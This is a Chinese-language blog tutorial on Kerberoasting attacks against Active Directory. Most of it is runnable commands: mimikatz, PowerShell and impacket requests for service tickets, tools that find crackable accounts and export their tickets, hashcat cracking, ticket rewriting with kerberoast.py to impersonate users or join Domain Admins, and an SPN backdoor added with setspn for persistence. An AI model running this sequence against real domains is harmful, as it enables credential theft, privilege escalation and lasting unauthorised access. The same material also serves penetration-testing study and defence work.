域渗透-Kerberoasting Attack

一、概述

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。

二、Kerberoasting攻击流程

  1. 发现服务主体名称(SPN)
  2. 请求服务票据
  3. 导出服务票据
  4. 破解服务票据
  5. 重写服务票据&RAM注入

三、请求服务票据

Powershell

查看.net版本
具体可以参考

https://docs.microsoft.com/zh-cn/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed
reg query "HKLM\Software\Microsoft\.NETFramework"
reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP"

测试 .net 2.0无法使用

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mssqlsvc/comp.test.com:1433"

在这里插入图片描述
批量请求所有SPN

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } 

mimikatz

mimikatz.exe "kerberos::ask /target:mssqlsvc/comp.test.com:1433" "exit"

在这里插入图片描述

GetUserSPNs

https://github.com/SecureAuthCorp/impacket

该工具支持提供域用户凭证从非域成员机器请求票据

python3 GetUserSPNs.py -request test.com/song -dc-ip 192.168.164.130

在这里插入图片描述

查看票据是否申请成功

klist

在这里插入图片描述

Mimikatz

mimikatz.exe "kerberos::list" "exit"

在这里插入图片描述

MSF

load kiwi
kerberos_ticket_list
kiwi_cmd kerberos::list

RiskySPN

https://github.com/cyberark/RiskySPN
powershell -ExecutionPolicy Bypass
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose

在这里插入图片描述

Find-PotentiallyCrackableAccounts -Domain "test.com"

在这里插入图片描述

Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts

在这里插入图片描述
PS:选择Kerberos服务票证是弱密码的,容易破解,可以通过下列因素来确定:
(1)SPNs绑定到域用户账户
(2)最后一次密码设置(Password last set)
(3)密码过期时间
(4)最后一次登录(Last logon)
(5)加密方式(TGT支持AES256,AES128,RC4-HMAC和3DES等加密方式,其中RC4_HMAC_MD5可破解)

导出票据

mimikatz

mimikatz.exe "standard::base64" "kerberos::list /export" "exit"

在这里插入图片描述

kerberoast

https://github.com/xan7r/kerberoast
Import-Module .\autokerberoast_noMimikatz.ps1
Invoke-AutoKerberoast
Invoke-AutoKerberoast -GroupName "Domain Admins"
Invoke-AutoKerberoast -Domain dev.testlab.local
Invoke-AutoKerberoast -SPN MSSQLSvc/sqlBox.testlab.local:1433
Invoke-AutoKerberoast -DomainController 172.20.200.100 

在这里插入图片描述

Get-TGSCipher

https://github.com/cyberark/RiskySPN
Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "mssqlsvc/comp.test.com:1433" -Format Hashcat 

测试报错

破解票据

tgsrepcrack.py
tgscrack
https://github.com/leechristensen/tgscrack

有好几种方法 这里使用kali自带的hashcat

hashcat -m 13100 hash.txt passwd.txt -o found.txt --force

在这里插入图片描述

重写服务票据&RAM注入

mimikatz.exe "kerberos::ptt PENTESTLAB.kirbi" "exit"
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

后门利用

在获取SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。例如为域用户song添加SPN VNC/comp.test.com,参数如下:

setspn.exe -U -A VNC/comp.test.com song

参考文章

Kerberoasting-Attack
https://www.freebuf.com/articles/system/174967.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值